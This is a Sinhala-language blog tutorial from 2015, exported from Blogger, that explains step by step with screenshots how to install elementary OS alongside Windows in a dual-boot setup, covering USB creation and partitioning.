tag:blogger.com,1999:blog-10159435702596701432024-03-13T12:47:56.594+05:30H4CK3R#"The quieter you become,the more you are able to hear..."Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.comBlogger15125tag:blogger.com,1999:blog-1015943570259670143.post-90951857973974791312015-02-15T17:41:00.003+05:302015-02-15T18:19:27.979+05:30Install Linux in dual boot with Windows<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJXkLyZ2ZK5mW2HkHcB0gM14kb1nrrF0Q3fAi5W0oZBbpHUKv9gvYSqMX3HU3fw0RjOmwA3z_7IxBLZJ7nteak_U6QFb62Jsw3a2VxtHbUZJ3Udvru0ikBBX8o_UqL54u8356QDCDb0VL1/s1600/24.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJXkLyZ2ZK5mW2HkHcB0gM14kb1nrrF0Q3fAi5W0oZBbpHUKv9gvYSqMX3HU3fw0RjOmwA3z_7IxBLZJ7nteak_U6QFb62Jsw3a2VxtHbUZJ3Udvru0ikBBX8o_UqL54u8356QDCDb0VL1/s1600/24.png" height="240" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
ලිනක්ස් වලට එන්න බලන් ඉන්න ගොඩක් කට්ටියට තියන ප්රශ්ණයක් තමයි කොහොමද හරියට ලිනක්ස් මෙහෙයුම් පද්ධතියක් පරිඝණකයේ ස්තාපනය කරගන්නේ කියල. ඒ මොකද වින්ඩෝස් වලට වඩා ටිකක් වෙන්ස් ක්රමයක් තමයි ලිනක්ස් වලදී බාවිතා වෙන්නේ. ඇත්තම කිවුවොත් ලේසි සහ ඉක්මන් ක්රමයක්. <br />
<br />
ඉතිං ඉස්සරහට ඔයාලට දැනගන්න පුළුවන් ලිනක්ස් මෙහෙයුම් පද්ධතියක් නිවැරදිව ස්තාපනය කරන විදිහ. මං මේකෙදි බාවිතා කරන්නේ <a href="http://www.ubuntu.com/" target="_blank">Ubuntu</a> based OS එකක් වන<b> elementary OS </b>කියන මෙහෙයුම් පද්ධතියේ 0.2 Luna කියන සංස්කරණයයි. දැනටමත් ලිනක්ස් බාවිතා කරන කෙනෙක් කියයි ඔක මහ ලොකු දෙයක්ද කියල. ඒ නිසා කියන්න ඔනේ මම මේ පෝස්ට් එක දාන්නේ එක පාරක්වත් ලිනක්ස් install කරල නැති අලුතින්ම ලිනක්ස් වලට එන්න බලාගන ඉන්න පිරිස වෙනුවෙනුයි. ඒක නිසා මම මෙතනදි කරන්න යන්නේ දැනටමත් වින්ඩෝස් ස්තාපනය කරල තියන පරිඝණකයක. වින්ඩෝස් තිබියදීම ලිනක්ස් ස්තිපනය කර බාවිතා කිරීමයි. සිංහලෙන් කියනවනම් ලිනක්ස් සහ වින්ඩෝස් <a href="http://en.wikipedia.org/wiki/Multi-booting" target="_blank">dual boot</a> කරන විදිහ. මෙතනදි ඔයා මුලින්ම ලිනක්ස් වලට එන කෙනෙක්නම් මම වගකීමෙන් කියනවා අනිවාර්යෙන්ම වින්ඩෝස් සමග dual boot විදිහට ලිනක් දාගන්න එහෙම නැත්නම් ඔයාට දවසින් ලිනක්ස් එපා වෙනව මොකද අපි ඒ තරමටම වින්ඩොස් වල වහලුන් බවට පත්වෙලා ඉන්නේ. <br />
<br />
හොඳයි වැඩේට බහින්න කලින් මුලින්ම මම මේ OS එක ගැන ටිකක් කියල ඉන්නම්. කලින් කිවුව වගේ මේක Ubuntu based OS එකක්. ඒ වගේම මේ OS එකටම අයිති desktop shell එකක් තමයි බාවිතා කරන්නේ ඒකේ නම තමයි Pantheon. සහ තවත් applications කිපයක් ගත්තොත් Plank, Midori web browser, Scratch text editor සහ Gala window manager එක විශේෂ වෙනව. තව දෙයක් මේ OS එක බාවිතා කරන්නේ <a href="https://apps.ubuntu.com/" target="_blank">Ubuntu software center</a> එකම තමයි.<br />
<br />
<b><span style="color: #0b5394;"><u>පියවර 1</u></span></b><br />
<br />
මුලින්ම <a href="http://www.elementaryos.org/">www.elementaryos.org</a> වෙබ් අඩවියෙන් ඔයාලට පුලුවන් නොමිලේම මේ OS එක බාගත කරගන්න. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixb0pPRCOslR2QeM7fExdLyDzWR_KihgDOFvlgjkbVWUmedwIKiKIljFmGJAaOgqSulVAYDwnrrM74wQT9nie0ueV9Xz2fs3XZdTYp2jqiwVIxHkl2v9RDICgWp-0vh4z8nA4OXTMx_Ybh/s1600/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixb0pPRCOslR2QeM7fExdLyDzWR_KihgDOFvlgjkbVWUmedwIKiKIljFmGJAaOgqSulVAYDwnrrM74wQT9nie0ueV9Xz2fs3XZdTYp2jqiwVIxHkl2v9RDICgWp-0vh4z8nA4OXTMx_Ybh/s1600/1.png" height="211" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFm8zwR1GbZwqEjmsCEsnEh6SNTfn5RchFUeFCJ7wxLTmtJ6F-zOAPnWL1lY1gYDeTQVdx0HKRuYP6RdBWRJ8NeonhsFr9m4wYyvbSqgezsXuxykK1JkHL4K-2lKV9ldtTf03Q2xs7htLG/s1600/2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFm8zwR1GbZwqEjmsCEsnEh6SNTfn5RchFUeFCJ7wxLTmtJ6F-zOAPnWL1lY1gYDeTQVdx0HKRuYP6RdBWRJ8NeonhsFr9m4wYyvbSqgezsXuxykK1JkHL4K-2lKV9ldtTf03Q2xs7htLG/s1600/2.png" height="209" width="320" /></a></div>
<b><u><span style="color: #0b5394;">පියවර 2</span></u></b><br />
<br />
Download කරගත්ත iso file එක ඔයාලට පුළුවන් සි.ඩී එකකට බර්න් කරගන්න එහෙම නැත්නම් pen drive එකක් හරහා වුනත් පරිඝනකයේ ස්තාපනය කරගන්න පුළුවන්. මම මෙතනදි pen drive එකක් මගින් තමයි ස්තාපනය කරන්නේ. අපි බලමු කොහොමද මීට අවශ්ය විදිහට pen drive එකට iso file එක දාගන්නේ කියල. මේ සඳහා පොඩි application එකක් බාවිතා කරන්න වෙනව. මම බාවිතා කරන්නේ LinuxLive USB Creator එක. ඔයාලට ඔනනම් මේකට unetbootin වගේ එකක් වුනත් බාවිතා කරන්න පුළුවන්. <br />
<br />
LiLi මෙතනින් Download කරගන්න. - <a href="http://www.linuxliveusb.com/">www.linuxliveusb.com</a><br />
<br />
unetbootin මෙතනින් Download කරගන්න. - <a href="http://sourceforge.net/projects/unetbootin/files/latest/download">http://sourceforge.net/projects/unetbootin/files/latest/download</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcYqBlhQqEMHj3ZCat5J4E3EFae6Asq3H0snvxs1YUcdyZrPTGmM9HXfGLvCyhT9DzylNyjYD-v789RWs9TEenaBU9nyIpfmh8T34UWPEHu2sxoYJ3XQvN_u5CXKH-MnWrOw9be7RCMhWp/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcYqBlhQqEMHj3ZCat5J4E3EFae6Asq3H0snvxs1YUcdyZrPTGmM9HXfGLvCyhT9DzylNyjYD-v789RWs9TEenaBU9nyIpfmh8T34UWPEHu2sxoYJ3XQvN_u5CXKH-MnWrOw9be7RCMhWp/s1600/3.png" height="211" width="320" /></a></div>
<br />
<br />
හොඳයි අපි මේ විදිහට අපිට අවශ්ය දේවල් ටික හදාගන්න ඕනේ.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzW0HVBpfcByunFmYwpi8UjHOIP6WuvAvPVuwpBcFxqjq34tuo1MnJ0syEFDtShQm7-c3GmiB71pvUW6xWpgpx14BBtQQCvLR9AsrM5XJ0py6g7uzr67kl7Ckrn8Emlf4xXzds5ASTOhBz/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzW0HVBpfcByunFmYwpi8UjHOIP6WuvAvPVuwpBcFxqjq34tuo1MnJ0syEFDtShQm7-c3GmiB71pvUW6xWpgpx14BBtQQCvLR9AsrM5XJ0py6g7uzr67kl7Ckrn8Emlf4xXzds5ASTOhBz/s1600/4.png" height="203" width="320" /></a></div>
<br />
<b><u><span style="color: #0b5394;">පියවර 3 </span></u></b><br />
<br />
ඔයාලගේ pen drive එක පරිඝණකයට සම්බන්ද කරල LiLi open කරගන්න <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9UmgBclEjTyV_j6ZOrJKCvkhbQp3zdwcGmx6FhbBoqi7js6IRz8ghuBQYauOCBfEPI4FCDYvEI2jyKHIQkzIVWvbcb_u6HLzKDDqxnsYZ71-eqBoT50JJpqyZpWuk8JSdIgWXloB2hH4w/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9UmgBclEjTyV_j6ZOrJKCvkhbQp3zdwcGmx6FhbBoqi7js6IRz8ghuBQYauOCBfEPI4FCDYvEI2jyKHIQkzIVWvbcb_u6HLzKDDqxnsYZ71-eqBoT50JJpqyZpWuk8JSdIgWXloB2hH4w/s1600/5.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2TMMhi0UjBD3y8oNiIWCsZKnRWZVLayo8GzsdOttlu-VYqx2rU3A5trbbL5QYskct9qfZyyZo3kK_xTV-zKuOoPa3rzq8o8R4Ju50-FGNowTaQzzceT7lmhHwcxzS4qYnJHUo68voZ5RT/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2TMMhi0UjBD3y8oNiIWCsZKnRWZVLayo8GzsdOttlu-VYqx2rU3A5trbbL5QYskct9qfZyyZo3kK_xTV-zKuOoPa3rzq8o8R4Ju50-FGNowTaQzzceT7lmhHwcxzS4qYnJHUo68voZ5RT/s1600/6.png" height="320" width="192" /></a></div>
<br />
1 - ඔයාගේ pen drive එක තෝරලා දෙන්න <br />
2 - Download කරගත්ත iso file එක තෝරලා දෙන්න<br />
3 - 256 mb ප්රමාණයක් ලබාදෙන්න<br />
bootable pen drive එක creat වෙන්න ටික වෙලාවක් යයි.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6dyQ46VfHUSNpoXhU7_4LPjQeDmZOHUuZheJR5cYwS0QhVlVW2nMU1IGQBso_ibskYX0ZmzJx8nK_1WHIInGnGjLXTeaB8Wi1OWoqh2NKDdKOruFn2SgX3cAbc5mrn6sXcYUmIQEgR2Az/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6dyQ46VfHUSNpoXhU7_4LPjQeDmZOHUuZheJR5cYwS0QhVlVW2nMU1IGQBso_ibskYX0ZmzJx8nK_1WHIInGnGjLXTeaB8Wi1OWoqh2NKDdKOruFn2SgX3cAbc5mrn6sXcYUmIQEgR2Az/s1600/8.png" height="320" width="192" /> </a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<b><u><span style="color: #0b5394;">පියවර 4</span></u></b><br />
<br />
<br />
දැන් කරන්න තියෙන්නේ ලිනක්ස් සඳහා partition එකක් තෝරගන්න එක. දැනටමත් ඔයාලගේ පරිඝණකයේ වින්ඩෝස් තියන නිසා අපිට බෑ C partition එක මේ සඳහා යොදා ගන්න. එම නිසා වෙනම empty partition එකක් නිර්මාණය කරගන්න වෙනව. මම මෙතනදී බාවිතා කරන්නේ ගිගාබයිට් 40 ක පමන partition එකක්. නමුත් මේ සඳහා අඩුම වශයෙන් ගිගාබයිට් 20 ක පමන partition එකක් තිබීම ප්රමානවත්. ඔයාලගේ දැනට empty partition එකක් නැත්නම් දැනට බාවිතා කරන partition එකක් Shrink කරල empty partition එකක් හදාගන්න.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9M6CU6zzIjU9Zh1b-tpigcoP9UWSz-wln2l97R5AcAtkNEDgFhZynjesNU2Ci9kkSSx2IeCBeGldbARboxAgKipsXXFaiNMBHsQQjlK9PQsQU3eaN5mfazlR1i3iUVDpt9-B8vpdQBHnv/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9M6CU6zzIjU9Zh1b-tpigcoP9UWSz-wln2l97R5AcAtkNEDgFhZynjesNU2Ci9kkSSx2IeCBeGldbARboxAgKipsXXFaiNMBHsQQjlK9PQsQU3eaN5mfazlR1i3iUVDpt9-B8vpdQBHnv/s1600/9.png" height="226" width="320" /></a></div>
<br />
<b><u><span style="color: #0b5394;">පියවර 5</span></u></b><br />
<br />
හොඳයි empty partition එක හදාගත්තනම් ඊලඟට කරන්න තියෙන්නේ අපි හදාගත්ත bootable pen drive එකෙන් පරිඝණකය boot කරගන්න එක. මෙය නම් පරිඝණකයෙන් පරිඝණකයට වෙනස් වෙන්න පුළුවන් බොහො පරිඝණක වල නම් පරිඝණකය boot වන අවස්තාවේ F10 හෝ F12 යතුර එබීමෙන් boot මෙනු එකට යන්න පුළුවන්. එතනදි boot from USB or Removable Media කියන option එක තෝරා දීම කරන්න ඔනේ. <br />
<br />
<b><u><span style="color: #0b5394;">පියවර 6</span></u></b><br />
<br />
එතනදි ටික වෙලාවක් ගතවෙනවා පරිඝනකය pen drive එක මගින් boot වෙන්න අවසානයේ ඔයාලට බලාගන්න පුළුවන් මේ වගේ තිරයක්. <br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-yw31RwedX1lA_34yG8L59LTBaRW-UnuvpU231FLm07fsiCAb1OnTQ7B_-tHTCxYDsBzOGkFynG9ifuksJtPadjC9w83YedgbR5KtDs89wBbMz3eAD4E_tEeVKz7FhNT14wXlbcjFal1B/s1600/10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-yw31RwedX1lA_34yG8L59LTBaRW-UnuvpU231FLm07fsiCAb1OnTQ7B_-tHTCxYDsBzOGkFynG9ifuksJtPadjC9w83YedgbR5KtDs89wBbMz3eAD4E_tEeVKz7FhNT14wXlbcjFal1B/s1600/10.png" height="240" width="320" /></a></div>
මෙතනදි ඔයාලට අවශ්යනම් කෙලින්ම install නොකර pen drive එකේ තිබියදීම වුනත් බාවිතා කරල බලන්න පුළුවන්. එහෙම නැතුව කෙලින්ම install කරනවනම් Install elementary os කිය බොත්තම ඔබන්න.<br />
<br />
<u><b><span style="color: #0b5394;">පියවර 7 </span></b></u><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF2XN36jDE4Mz00mOpW7J20KXW3OTf2BCzg1SD23BAghMMzk8LR8bbEIuwjihWvH8ZyN4TLuW1QgJlMB92T_XKgrjxvSNlnrdJWyYWRSEpY9IuEUyjtPGKeT8bJ8PYiv9R2dksGz22_i9X/s1600/11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF2XN36jDE4Mz00mOpW7J20KXW3OTf2BCzg1SD23BAghMMzk8LR8bbEIuwjihWvH8ZyN4TLuW1QgJlMB92T_XKgrjxvSNlnrdJWyYWRSEpY9IuEUyjtPGKeT8bJ8PYiv9R2dksGz22_i9X/s1600/11.png" height="240" width="320" /></a></div>
මෙතනදී ඔයාලගේ පරිඝණකයට මෙම මෙහෙයුම් පද්ධතිය ස්තාපනය කිරීමට අවශ්ය සුදුසුකම් තියනවද කියලයි බලන්නේ. මෙතනදී අන්තර්ජාල සම්බන්ද තාවයක් තිබීම අනිවාර්ය නෑ. මොකද අපිට install කිරීමෙන් පසුව වුනත් ලේසියෙන්ම update කරගන්න පුළුවන්.<br />
<br />
<span style="color: #0b5394;"><u><b>පියවර 8</b></u></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5IB7gstMwaUTuTa_bPBz95CQYbf9Iv3LNpqMV9rdAstYH1CPIlbnK-Ee5_tfDrcIUg33yrvy00Zqm8oS8xspIGyfTSeaF7DrJ3uukZf2qaAjd9XivZFQ2nIM_w50X8AC_hyIP4bRjTRwG/s1600/12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5IB7gstMwaUTuTa_bPBz95CQYbf9Iv3LNpqMV9rdAstYH1CPIlbnK-Ee5_tfDrcIUg33yrvy00Zqm8oS8xspIGyfTSeaF7DrJ3uukZf2qaAjd9XivZFQ2nIM_w50X8AC_hyIP4bRjTRwG/s1600/12.png" height="240" width="320" /></a></div>
<br />
1 - මෙතනදි අපි වින්ඩෝස් සමග dual boot ආකාරයෙන් install කිරීමට බලාපොරොත්තු වන නිසා මේ විදිහට ගන්න ඔනේ.<br />
<br />
<br />
2 - ඉදිරියට යන්න. <br />
<br />
<span style="color: #0b5394;"><u><b>පියවර 9</b></u></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwoRquYrKoxgHei6_vNfZI_ieF_uIpRG7DFFjJQkpyyXCr3MTxuW9dnImZBY7cyJxy77YHzE3wce2O9NAr1VbB_OYRrOGQqmOcOrZ4-F14rvSm1dbpPeqEZ0JcUF9nvvNhR6CgsUei-_rc/s1600/13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwoRquYrKoxgHei6_vNfZI_ieF_uIpRG7DFFjJQkpyyXCr3MTxuW9dnImZBY7cyJxy77YHzE3wce2O9NAr1VbB_OYRrOGQqmOcOrZ4-F14rvSm1dbpPeqEZ0JcUF9nvvNhR6CgsUei-_rc/s1600/13.png" height="240" width="320" /></a></div>
මෙතනදි තමයි අපිට ලිනක්ස් ස්තාපනය කිරීමට අවශ්ය partition නිර්මාණය කරගන්න ඕන. මෙහි දැක්වෙන්නේ අපේ පර්ඝණකයේ හාඩ් ඩර්යිව් එක. /dev/sda2/ මගින් පෙන්වන්නේ මම නිර්මාණය කරගත්ත empty partition එක ඊ්ට උඩින් වින්ඩෝස් ස්තාපනය කරල තියන C partition එකත් යටින් මගේ පරිඝණකයේ අනිත් partition එකත් පෙන්නනව. මුලින්ම අපි empty partition එක සිලෙක්ට් කරල ඒක ඩිලීට් කරගන්න ඕනේ.<br />
<br />
<span style="color: #0b5394;"><u><b>පියවර 10</b></u></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsO0c2zL9H_S1K5MfY3fvlA3b029x_w2tQf1HzZ1XXBrbkpzpDgbTHQr9YRc2oGNwpNiX1Msud_Yl6nyj9m-14hE-roKO11kvED_ooo4HxnCL9H2uomXLDkJLmSuW0wY5fWdrDFssr4vMC/s1600/14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsO0c2zL9H_S1K5MfY3fvlA3b029x_w2tQf1HzZ1XXBrbkpzpDgbTHQr9YRc2oGNwpNiX1Msud_Yl6nyj9m-14hE-roKO11kvED_ooo4HxnCL9H2uomXLDkJLmSuW0wY5fWdrDFssr4vMC/s1600/14.png" height="240" width="320" /></a></div>
partition එක ඩිලීට් කරගත් පසු එම කොටස free space එකක් විදිහට තමයි පෙන්වන්නේ. සාමාන්යෙයන් ලිනක්ස් ස්තාපනය සඳහා අපිට partition 4 ක් නිර්මාණය කරන්න සිද්දවෙනව. එවානම්,<br />
<br />
1 - /boot – System boot installation<br />
ප්රමාණය - මෙගාබයිට් 300 පමන.<br />
Partition type: primary<br />
File system type: ext2<br />
Mount Point: /boot<br />
<br />
2 - / – File system installation<br />
ප්රමාණය - අවශ්ය ප්රමාණයට.<br />
Partition type: Logic<br />
File system type : ext4<br />
Mount Point: /<br />
<br />
3 - /home – personal files storage<br />
ප්රමාණය - අවශ්ය ප්රමාණයට.<br />
Partition type: Logic<br />
File system type : ext4<br />
Mount Point: /home<br />
<br />
4 - swap – Virtual memory dedicated partition<br />
ප්රමාණය - RAM මතකය අනුව, සාමාන්යෙයන් RAM මතකය වගේ දෙගුනයක්. <br />
Partition type: Logic<br />
File system type : swap area<br />
<br />
මේ විදිහට Partition 4ක් නිර්මාණය කරන්න සිද්දවෙනව. නමුත් මම මේ අවස්තාවේදී Partition 4ක් සදන්නේ නෑ. swap area එකක් සහ අනිත් සියල්ල සඳහා File system එක යොදාගෙන තමයි මම මෙතනදි ස්තාපනය කරන්නේ. නමුත් නිවැරදි ක්රමය ඉහත ආකාරයෙන් Partition 4ක් යොදා ගැනීමයි.<br />
<br />
<span style="color: #0b5394;"><u><b>පියවර 11</b></u></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirHvViA6zmXBgGOnVM-Tf4eFwvkT_1_OBGo6XhnRZSvbhabqRfsw28YQz9uLBeOFxHPFrWY2ybIBOOvSk0XI6h2Z6iOqwXu8Q8Q37EV-jZsLc7NqvJmfPB56st_jSmiEMFB71_Pf-O4_qt/s1600/15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirHvViA6zmXBgGOnVM-Tf4eFwvkT_1_OBGo6XhnRZSvbhabqRfsw28YQz9uLBeOFxHPFrWY2ybIBOOvSk0XI6h2Z6iOqwXu8Q8Q37EV-jZsLc7NqvJmfPB56st_jSmiEMFB71_Pf-O4_qt/s1600/15.png" height="240" width="320" /></a></div>
මුලින්ම free space එක සිලෙක්ට් කරල ADD බොත්තම ඔබල swap area එන හදා ගන්න ඕනේ මේ විදිහට. මෙතන මම ගිගාබයිට් 4 ක් තමයි බාවිතා කරන්නේ.<br />
<br />
<span style="color: #0b5394;"><u><b>පියවර 12</b></u></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFzxgBvV-6-RojxWS1V7uv9C9p2g2OM7pmXfY0_jmvjUb4RhlH5HDStARXUm4vqALEb7SoalOJQUTt0lg5btQznWBzYTS-wNEDQWQebo9VL6Z8dN-_9IaIY0C4OCzkM1HvFFI8GwV4X3hf/s1600/16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFzxgBvV-6-RojxWS1V7uv9C9p2g2OM7pmXfY0_jmvjUb4RhlH5HDStARXUm4vqALEb7SoalOJQUTt0lg5btQznWBzYTS-wNEDQWQebo9VL6Z8dN-_9IaIY0C4OCzkM1HvFFI8GwV4X3hf/s1600/16.png" height="240" width="320" /></a></div>
swap area එක හැදුවට පස්සේ අපිට මේ විදිහට පෙනවා කලින් තිබු free space එකෙන් ගිගාබයිට් 4ක් අඩුවෙලා ඒක swap area එකක් විදිහට පෙන්නනවා.<br />
<br />
<span style="color: #0b5394;"><u><b>පියවර 13</b></u></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo7cF40-IbanbyQh85pPRyPN4JOz_USIlGEH6CJ22CgoHO21__xsdORUTCYwrHkDqMzFeFwVP-mEejsnXhlHF6y99YbUIwvDII-UdMc6ec7hMmfXGnqmbZsBobUhxtQx3ULmrfXYMiqx4K/s1600/17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo7cF40-IbanbyQh85pPRyPN4JOz_USIlGEH6CJ22CgoHO21__xsdORUTCYwrHkDqMzFeFwVP-mEejsnXhlHF6y99YbUIwvDII-UdMc6ec7hMmfXGnqmbZsBobUhxtQx3ULmrfXYMiqx4K/s1600/17.png" height="240" width="320" /></a></div>
ඊලඟට ඉතුරු free space එක බාවිතා කරල මම මට අවශ්ය File system එක නිර්මාණය කරගන්නවා.<br />
<br />
<span style="color: #0b5394;"><u><b>පියවර 14</b></u></span><br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6XYMVPIU3RvJjtwFbsluGgIFfgzv5PNlg9zDT8cd9Bt9ePj90wD7Z9fRkpLSa3nQjChmmQv4jTLu4r-X0QQ8hFTv5b5t4eUJsmMjSCskEOJpXyP0MkMUcThisRuVG6uy29Tk1rxZaDiob/s1600/18.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6XYMVPIU3RvJjtwFbsluGgIFfgzv5PNlg9zDT8cd9Bt9ePj90wD7Z9fRkpLSa3nQjChmmQv4jTLu4r-X0QQ8hFTv5b5t4eUJsmMjSCskEOJpXyP0MkMUcThisRuVG6uy29Tk1rxZaDiob/s1600/18.png" height="240" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
මේ තියෙන්නේ සම්පූර්ණයෙන්ම Partition කරගත්තට පස්සේ අවස්තාව. ඔයාලට පේනව ඇති මෙහි මුලින්ම තියනව වින්ඩෝස් Partition එක, ඊලඟට තියනව swap area එක සහ ලිනක්ස් ස්තාපනය සඳහා අවශ්ය File system එක. ඊලඟට install now බොත්තම ඔබන්න. දැන් ලිනක්ස් ස්තාපනය සඳහා සියල්ල සූදානම. ඊලඟට එන වින්ඩෝ ටික අපිට අවහ්ය ආකාරයට ෆිල් කර ගත්තහම වැඩේ සම්පූර්ණයි. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicyVogdEMQKdNeSpZbhRk6Z0F9CDQY9eOKxWLQFfncrVPu9ffp1UKXKOCBFTNv9X1x7NYa980q7-H0bZ_i5XOvTWZuh2s6_iOUZO6xTAIR9t5sEQhrsAUTVXz2k9VvtBQZK_OC3rDNfT-Q/s1600/19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicyVogdEMQKdNeSpZbhRk6Z0F9CDQY9eOKxWLQFfncrVPu9ffp1UKXKOCBFTNv9X1x7NYa980q7-H0bZ_i5XOvTWZuh2s6_iOUZO6xTAIR9t5sEQhrsAUTVXz2k9VvtBQZK_OC3rDNfT-Q/s1600/19.png" height="240" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPkCxb1tSXMk1fAGnyebXqW4DumeGWXlASXGNUjTmOh4CgVt5ebPTAGIQGt7P8XE2xEJ5exm5XACiM6V9ysFd9uWVjfpOJkuwL4NzVdWB42qIww4bQ7ky4SfQuQHdJusi_N3ckd4TaXctX/s1600/20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPkCxb1tSXMk1fAGnyebXqW4DumeGWXlASXGNUjTmOh4CgVt5ebPTAGIQGt7P8XE2xEJ5exm5XACiM6V9ysFd9uWVjfpOJkuwL4NzVdWB42qIww4bQ7ky4SfQuQHdJusi_N3ckd4TaXctX/s1600/20.png" height="240" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLWdUukt6JdIB5KXenFaxxSK-N5pdrB8QHEYxeCOKuCuZDAkbYN7hC6uF8lnnpWpu6fWeh-cSBoVeWcnDNX-3-C8bCtpxreWCIQrB0H0ZRf9SaiXuRWOB9s1l2-EQjL5KFbWnTqD0DxCpn/s1600/21.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLWdUukt6JdIB5KXenFaxxSK-N5pdrB8QHEYxeCOKuCuZDAkbYN7hC6uF8lnnpWpu6fWeh-cSBoVeWcnDNX-3-C8bCtpxreWCIQrB0H0ZRf9SaiXuRWOB9s1l2-EQjL5KFbWnTqD0DxCpn/s1600/21.png" height="240" width="320" /></a></div>
<br />
